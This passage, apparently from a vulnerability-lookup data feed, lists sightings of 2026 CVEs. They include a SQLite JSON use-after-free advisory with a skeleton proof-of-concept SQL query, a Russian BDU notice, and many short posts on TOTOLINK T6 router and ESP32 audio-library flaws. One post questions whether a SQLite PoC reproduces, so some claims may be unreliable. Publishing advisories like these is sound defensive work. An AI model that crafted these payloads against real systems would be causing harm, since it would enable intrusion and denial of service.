this CVE is in Reserved But Published (RBP) status; full public NVD vendor advisory is not yet indexed. Details \nbelow are consistent with the SQLite use-after-free vulnerability series you previously disclosed.\nAffected Product\nSQLite (embedded SQL database library)\nAffected / Fixed Versions\nAffected: SQLite versions 3.45.0 up to and including 3.47.1\nFixed: SQLite 3.48.0 and newer\nCVE ID\nCVE-2026-51287\nVulnerability Prose Description\nA use-after-free vulnerability exists within the JSON extension (json.c) of SQLite when processing specially crafted JSON path expressions\ninside SQL queries. When evaluating nested JSON subqueries with user-controlled JSON input, an internal JsonNode heap object can be prematurely\nreleased while a dangling pointer to that object remains in the evaluation stack. Subsequent access via the stale pointer triggers undefined \nbehaviour. An attacker able to submit arbitrary SQL to a vulnerable SQLite instance can trigger this flaw. Depending on memory layout and \ncompilation settings, the vulnerability may lead to process crash (denial of service) or potential arbitrary memory read/write.\nSupplementary Technical Details (Vulnerability Type + Root Cause + PoC Rationale)\nVulnerability Type: CWE-416 \u2013 Use After Free\nRoot Cause:\nThe JSON path evaluator fails to maintain a consistent reference count for transient JsonNode structures during recursive filtering operations.\nIn specific nested predicate evaluation logic, a cleanup routine invokes sqlite3_free() on a node before all stack-held references to that node\nare cleared. No guard check exists to validate pointer liveness before subsequent member access.\nPoC Rationale:\nThe proof-of-concept constructs a malicious JSON_EXTRACT() query with deeply nested JSON arrays and conditional path predicates. The crafted\ninput forces the evaluation pipeline to traverse the allocation/free path sequence that exposes the dangling pointer. When executed against \nan unpatched SQLite build, repeated execution reliably triggers memory corruption and segmentation fault. The PoC requires the SQLite JSON \nextension to be enabled at compile time; builds without JSON support are not vulnerable.\nMinimal PoC Skeleton (SQL form)\nsql\nSELECT JSON_EXTRACT(\n  '{\"data\": [[1,2],[3,4]]}',\n  '$.data[?(@[0]>0)][1]'\n);\n\nWith further malformed payload modification to trigger the exact free-then-access sequence inside jsonEvalPredicate().\n", "creation_timestamp": "2026-07-29T13:54:19.579163Z"}, {"uuid": "dea09820-2da3-475d-93bb-2d251ff409fd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51296", "type": "seen", "source": "https://t.me/bdufstecru/3351", "content": "\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u0444\u0443\u043d\u043a\u0446\u0438\u0438 json_remove() \u0444\u0430\u0439\u043b\u0430 json.c \u0441\u0438\u0441\u0442\u0435\u043c\u044b \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0430\u0437\u0430\u043c\u0438 \u0434\u0430\u043d\u043d\u044b\u0445 SQLite \u0441\u0432\u044f\u0437\u0430\u043d\u0430 \u0441 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435\u043c \u043f\u0430\u043c\u044f\u0442\u0438 \u043f\u043e\u0441\u043b\u0435 \u0435\u0435 \u043e\u0441\u0432\u043e\u0431\u043e\u0436\u0434\u0435\u043d\u0438\u044f. \u042d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043c\u043e\u0436\u0435\u0442 \u043f\u043e\u0437\u0432\u043e\u043b\u0438\u0442\u044c \u043d\u0430\u0440\u0443\u0448\u0438\u0442\u0435\u043b\u044e, \u0434\u0435\u0439\u0441\u0442\u0432\u0443\u044e\u0449\u0435\u043c\u0443 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e, \u0432\u044b\u0437\u0432\u0430\u0442\u044c \u043e\u0442\u043a\u0430\u0437 \u0432 \u043e\u0431\u0441\u043b\u0443\u0436\u0438\u0432\u0430\u043d\u0438\u0438, \u0440\u0430\u0441\u043a\u0440\u044b\u0442\u044c \u0437\u0430\u0449\u0438\u0449\u0430\u0435\u043c\u0443\u044e \u0438\u043d\u0444\u043e\u0440\u043c\u0430\u0446\u0438\u044e \u0438\u043b\u0438 \u0432\u044b\u043f\u043e\u043b\u043d\u0438\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0439 \u043a\u043e\u0434\n\nBDU:2026-10652\nCVE-2026-51296\n\n\u041a\u043e\u043c\u043f\u0435\u043d\u0441\u0438\u0440\u0443\u044e\u0449\u0438\u0435 \u043c\u0435\u0440\u044b:\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043c\u0435\u0436\u0441\u0435\u0442\u0435\u0432\u043e\u0433\u043e \u044d\u043a\u0440\u0430\u043d\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u0443\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u041f\u041e;\n- \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u0438\u0437 \u0432\u043d\u0435\u0448\u043d\u0438\u0445 \u0441\u0435\u0442\u0435\u0439 (\u0418\u043d\u0442\u0435\u0440\u043d\u0435\u0442);\n- \u043e\u0442\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435/\u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u0435 \u0444\u0443\u043d\u043a\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u043f\u043e\u043f\u044b\u0442\u043e\u043a \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 (\u043d\u0430\u043f\u0440\u0438\u043c\u0435\u0440, \u0437\u0430\u043f\u0440\u0435\u0442 \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0435\u0437\u0430\u0449\u0438\u0449\u0435\u043d\u043d\u044b\u0445 \u043f\u0440\u043e\u0442\u043e\u043a\u043e\u043b\u043e\u0432, \u0442\u0430\u043a\u0438\u0445 \u043a\u0430\u043a HTTP \u0438\u043b\u0438 Telnet);\n- \u0441\u043e\u0431\u043b\u044e\u0434\u0435\u043d\u0438\u0435 \u043f\u0430\u0440\u043e\u043b\u044c\u043d\u043e\u0439 \u043f\u043e\u043b\u0438\u0442\u0438\u043a\u0438 \u043f\u0440\u0438\u043d\u044f\u0442\u043e\u0439 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u041f\u041e;\n- \u0441\u0435\u0433\u043c\u0435\u043d\u0442\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0435\u0442\u0438 \u0434\u043b\u044f \u043e\u0433\u0440\u0430\u043d\u0438\u0447\u0435\u043d\u0438\u044f \u0434\u043e\u0441\u0442\u0443\u043f\u0430 \u043a \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u043c\u0443 \u041f\u041e;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0441\u0440\u0435\u0434\u0441\u0442\u0432 \u043e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0438\u044f \u0438 \u043f\u0440\u0435\u0434\u043e\u0442\u0432\u0440\u0430\u0449\u0435\u043d\u0438\u044f \u0432\u0442\u043e\u0440\u0436\u0435\u043d\u0438\u0439 (IDS/IPS) \u0434\u043b\u044f \u0432\u044b\u044f\u0432\u043b\u0435\u043d\u0438\u044f \u0438 \u0440\u0435\u0430\u0433\u0438\u0440\u043e\u0432\u0430\u043d\u0438\u044f \u043d\u0430 \u043f\u043e\u043f\u044b\u0442\u043a\u0438 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u0432\u0438\u0440\u0442\u0443\u0430\u043b\u044c\u043d\u044b\u0445 \u0447\u0430\u0441\u0442\u043d\u044b\u0445 \u0441\u0435\u0442\u0435\u0439 \u0434\u043b\u044f \u043e\u0440\u0433\u0430\u043d\u0438\u0437\u0430\u0446\u0438\u0438 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u043e\u0433\u043e \u0434\u043e\u0441\u0442\u0443\u043f\u0430 (VPN);\n- \u0438\u0441\u043a\u043b\u044e\u0447\u0435\u043d\u0438\u0435 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u0438 \u043f\u0435\u0440\u0435\u0434\u0430\u0447\u0438 \u0438 \u043d\u0435\u043f\u043e\u0441\u0440\u0435\u0434\u0441\u0442\u0432\u0435\u043d\u043d\u043e\u0433\u043e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f SQL-\u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432, \u043f\u043e\u043b\u0443\u0447\u0435\u043d\u043d\u044b\u0445 \u0438\u0437 \u043d\u0435\u0434\u043e\u0432\u0435\u0440\u0435\u043d\u043d\u044b\u0445 \u0438\u0441\u0442\u043e\u0447\u043d\u0438\u043a\u043e\u0432;\n- \u0438\u0441\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u043d\u0438\u0435 \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u0438\u0437\u043e\u0432\u0430\u043d\u043d\u044b\u0445 \u0437\u0430\u043f\u0440\u043e\u0441\u043e\u0432 \u0438 \u0437\u0430\u0440\u0430\u043d\u0435\u0435 \u043f\u043e\u0434\u0433\u043e\u0442\u043e\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439;\n- \u043f\u0440\u0438\u043c\u0435\u043d\u0435\u043d\u0438\u0435 \u0440\u0430\u0437\u0440\u0435\u0448\u0438\u0442\u0435\u043b\u044c\u043d\u043e\u0433\u043e \u0441\u043f\u0438\u0441\u043a\u0430 \u0434\u043e\u043f\u0443\u0441\u0442\u0438\u043c\u044b\u0445 SQL-\u043e\u043f\u0435\u0440\u0430\u0446\u0438\u0439, \u0432\u044b\u0440\u0430\u0436\u0435\u043d\u0438\u0439 \u0438 \u0444\u0443\u043d\u043a\u0446\u0438\u0439.", "creation_timestamp": "2026-07-29T15:00:04.155740Z"}, {"uuid": "889d92cb-4874-41c2-b425-36f6176e1893", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51271", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrscfycky22m", "content": "Critical CVE landed today in ESP32:\n\nCVE-2026-51271. In schreibfaul1 ESP32-audioI2S 3.4.5, a heap-based buffer overflow vulnerability exists in the WAV header parsing function read_WAV_Header(). The function reads untrusted chunk size and bytes-to-\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51271", "creation_timestamp": "2026-07-29T16:03:17.213487Z"}, {"uuid": "201e1c6e-f066-4207-baa5-686fd32c3cda", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51302", "type": "seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mrsfrw3zay2b", "content": "CVSS 10.0, but the evidence doesn't add up.\n\nCVE-2026-51302 in SQLite claims critical impact, but:\nThe supplied PoC does not reproduce\nThe source code does not match the claims\n\nAnd it's not an iso\u2026\n\n\ud83d\udd01 RT @JFrogSecurity | reposted by @HackingLZ\nhttps://x.com/JFrogSecurity/status/2082473593770782753", "creation_timestamp": "2026-07-29T17:03:46.328154Z"}, {"uuid": "f11c9810-2ed0-484a-9759-899ea6df09b9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51992", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mrslj3fv652s", "content": "CVE-2026-51992\nClickHouse Server versions prior to 26.3.9.8 are at risk of SQL injection attacks. An attacker can exploit this vulnerability to execute unauthorized code on the server, potentially leading to data theft or\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-07-29T18:46:04.743748Z"}, {"uuid": "594d9854-d1c3-4c17-b555-0f7d234c4f3d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51244", "type": "seen", "source": "https://bsky.app/profile/bootintel.bsky.social/post/3mrsprhjqnh2p", "content": "HIGH severity CVE just published in ESP32:\n\nCVE-2026-51244. schreibfaul1 ESP32-audioI2S 3.4.5 has a buffer overflow vulnerability in UnpackFrameHeader(). Multiple attacker-controlled index parameters are used to access static and heap table arrays\u2026\n\nnvd.nist.gov/vuln/detail/CVE-2026-51244", "creation_timestamp": "2026-07-29T20:02:20.948829Z"}, {"uuid": "5aa27f2c-c68f-4669-8a65-9a882db29963", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51680", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muflojyii42e", "content": "CVE-2026-51680\nThe TOTOLINK T6 router version 4.1.5 allows anyone on the network to send a specially crafted request that changes the router\u2019s LED settings. This does not affect core functionality, but it shows that the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-31T19:00:06.205533Z"}, {"uuid": "ee244d42-c34e-4548-903a-cae41d18dbd8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51679", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muflolzh3b23", "content": "CVE-2026-51679\nThe router\u2019s firmware version 4.1.5cu.748_B20211015 does not properly verify who is sending a password\u2011change request. An attacker on the network can send a specially crafted web request and replace the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-31T19:00:08.038289Z"}, {"uuid": "a0c1df28-162c-470a-a255-d606a534efe6", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51679", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mufpggypj32u", "content": "\ud83d\udea8 CVE-2026-51679 \u2014 CVSS 9.1 CRITICAL\n\nIncorrect access control in the setPasswordCfg function of TOTOLINK T6 4.1.5cu.748_B20211015 allows unauthe...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-51679\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-31T20:07:09.598896Z"}, {"uuid": "c13730ef-c391-4a2e-992c-38f623cf5ca2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51680", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mufpgoulqn2e", "content": "\ud83d\udea8 CVE-2026-51680 \u2014 CVSS 9.1 CRITICAL\n\nIncorrect access control in the setLedCfg function of TOTOLINK T6 4.1.5cu.748_B20211015 allows unauthentica...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-51680\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-31T20:07:17.718227Z"}, {"uuid": "0c494925-52a3-4b8e-9c91-059f964dbcf8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51681", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mufpgx7msi2e", "content": "\ud83d\udea8 CVE-2026-51681 \u2014 CVSS 9.1 CRITICAL\n\nIncorrect access control in the setRemoteCfg function of TOTOLINK T6 4.1.5cu.748_B20211015 allows unauthent...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-51681\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-31T20:07:26.308787Z"}, {"uuid": "f91d1de4-9bbc-4344-95d0-3a0eba6d0972", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51720", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mufphs37lq2y", "content": "\ud83d\udea8 CVE-2026-51720 \u2014 CVSS 9.1 CRITICAL\n\nIncorrect access control in the delIpPortFilterRules function of TOTOLINK T6 4.1.5cu.748_B20211015 allows u...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-51720\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-31T20:07:54.713692Z"}, {"uuid": "055e9d6d-3cf9-496c-bc8d-eb6c4d9b0c6f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51725", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mufpi35g5h23", "content": "\ud83d\udea8 CVE-2026-51725 \u2014 CVSS 9.1 CRITICAL\n\nIncorrect access control in the NTPSyncWithHost function of TOTOLINK T6 4.1.5cu.748_B20211015 allows unauth...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-51725\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-31T20:08:04.016353Z"}, {"uuid": "d91704b7-19fd-4b7e-8c5f-d01d441e137e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51725", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mufplnofk625", "content": "CVE-2026-51725\nThe T6 router running version 4.1.5 allows anyone on the network to send a specially crafted request that resets the device\u2019s date and time. Incorrect permission checks let an unauthenticated user make this\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-31T20:10:05.334483Z"}, {"uuid": "35ed3188-6c07-40e8-891b-f729a1f82723", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51720", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mufplpfdyq2m", "content": "CVE-2026-51720\nThe T6 router firmware version 4.1.5 allows anyone on the network to send a special web request that removes existing firewall filter rules. This can open the network to unwanted traffic or attacks because the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-31T20:10:06.233020Z"}, {"uuid": "0263e2c0-a08f-4bc8-aefc-12d0c2873280", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51730", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mufq5k5va625", "content": "CVE-2026-51730\nA specific version of the TOTOLINK T6 router does not properly verify who is sending a request to remove Wi\u2011Fi access\u2011list entries. An attacker who can reach the router could delete those rules, letting\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-08-31T20:20:04.733769Z"}, {"uuid": "4f4a9568-27b1-49af-88a5-b64dee152f7c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51730", "type": "seen", "source": "https://bsky.app/profile/stemshop.bsky.social/post/3mufw5hfix72c", "content": "\ud83d\udea8 CVE-2026-51730 \u2014 CVSS 9.1 CRITICAL\n\nIncorrect access control in the delWiFiAclRules function of TOTOLINK T6 4.1.5cu.748_B20211015 allows unauth...\n\n\ud83d\udd0e https://stemshop.top/cve/CVE-2026-51730\n\n#CVE #CyberSecurity #InfoSec", "creation_timestamp": "2026-08-31T22:07:24.542584Z"}, {"uuid": "b35c7720-b261-43a6-bb40-eef07c4fcbe8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51670", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhjpdfclz2y", "content": "CVE-2026-51670\nThe router\u2019s getSlaveUpdate feature can be accessed without a password, allowing anyone on the network to see the upgrade status of connected devices and modify the upgrade records. This could let an attacker\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T13:30:04.951779Z"}, {"uuid": "30f5bc2f-14ea-4cef-8506-042ca14bb056", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51672", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhjpex7772w", "content": "CVE-2026-51672\nThe T6 router running firmware version 4.1.5cu.748_B20211015 lets anyone send a special request and learn whether the device's roaming feature is turned on. Knowing this setting can help an attacker plan more\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T13:30:06.609886Z"}, {"uuid": "9e247af5-2c4e-4c59-848f-91976d6743e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51677", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhkb77x7h2g", "content": "CVE-2026-51677\nThe TOTOLINK T6 router firmware version 4.1.5 allows anyone on the network to change the UPnP feature on or off by sending a specially crafted request to a web address on the device. This could expose internal\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T13:40:04.259693Z"}, {"uuid": "4d68a4c1-74c1-4595-a94c-daa445747d95", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51669", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhkbaqhws2m", "content": "CVE-2026-51669\nThe router model TOTOLINK T6 (firmware 4.1.5cu.748) does not properly verify who can request its pairing and mesh\u2011slave settings. An attacker on the network can send a specially crafted request and retrieve\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T13:40:06.152625Z"}, {"uuid": "4b542e47-c388-40ac-9735-90ef8c6785cc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51674", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhkt4ebqp2w", "content": "CVE-2026-51674\nA flaw in the T6 router\u2019s web interface lets an outsider send a specially crafted request that tells the device to restart on a schedule. This could cause unexpected downtime or interrupt network services.\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T13:50:05.825765Z"}, {"uuid": "577b7b38-7c5f-43c0-840d-5c41893e6864", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51675", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhkt5rc6h2w", "content": "CVE-2026-51675\nThe TOTOLINK T6 router firmware version 4.1.5cu.748_B20211015 does not properly check who can change its network uplink configuration. An attacker on the internet could send a specially crafted request to the\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T13:50:07.167799Z"}, {"uuid": "6967c8b5-6936-4445-b988-968fabe69aa8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51708", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhleyu57522", "content": "CVE-2026-51708\nThe T6 router\u2019s web interface does not properly verify who is sending a request to change the Wi\u2011Fi Protected Setup (WPS) feature. An attacker on the network could send a specially crafted request and turn WPS\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T14:00:05.609499Z"}, {"uuid": "dfbc1a59-ad9c-45bb-9010-cc77e27f0318", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51676", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhlf2ekvg25", "content": "CVE-2026-51676\nThe TOTOLINK T6 router running version 4.1.5cu.748_B20211015 does not properly check who is sending a request to change its access-device policies. An attacker who can reach the router on the network could send\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T14:00:07.243739Z"}, {"uuid": "97b97c82-330c-4815-81e7-8a07f5101a33", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51701", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhn2m5fac2d", "content": "CVE-2026-51701\nThe TOTOLINK T6 router version 4.1.5 allows anyone on the network to modify its MAC address filtering settings by sending a specially crafted request. This could let unauthorized devices connect or block\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T14:30:04.352240Z"}, {"uuid": "10de1093-f253-4af2-acf0-2c51c9804a61", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51711", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhn2nrquk2b", "content": "CVE-2026-51711\nThe router\u2019s web interface does not check who is sending a request to start WPS, so anyone on the network can trigger the Wi\u2011Fi pairing window. This lets an attacker connect a device without permission. Update\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T14:30:06.131595Z"}, {"uuid": "169e6b3c-7ebb-461a-a24c-6e604789ed6d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51718", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhnmiprnd2d", "content": "CVE-2026-51718\nThe router\u2019s feature that stores fixed IP address assignments can be cleared by anyone who can send a specially crafted request to the router\u2019s web interface. This could cause devices to lose their expected\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T14:40:04.660816Z"}, {"uuid": "d5905937-6b32-4cf0-bce3-660674d55957", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51152", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muhnmk6dts2v", "content": "CVE-2026-51152\nThe /har/test feature in QD versions from early 2022 to mid\u20112025 accepts data from anyone and uses it to build web requests without checking where those requests go. An attacker could cause the server to reach\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE #infosec", "creation_timestamp": "2026-09-01T14:40:06.272867Z"}, {"uuid": "6a7ab94c-7f80-42c4-b776-1250f7d86239", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-51729", "type": "seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3muho6ekk6t2d", "content": "CVE-2026-51729\nThe T6 router\u2019s management interface does not properly verify who can use the delete\u2011device command. An attacker who can reach the router on the network could send a specially crafted request and cause a linked\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#CVE 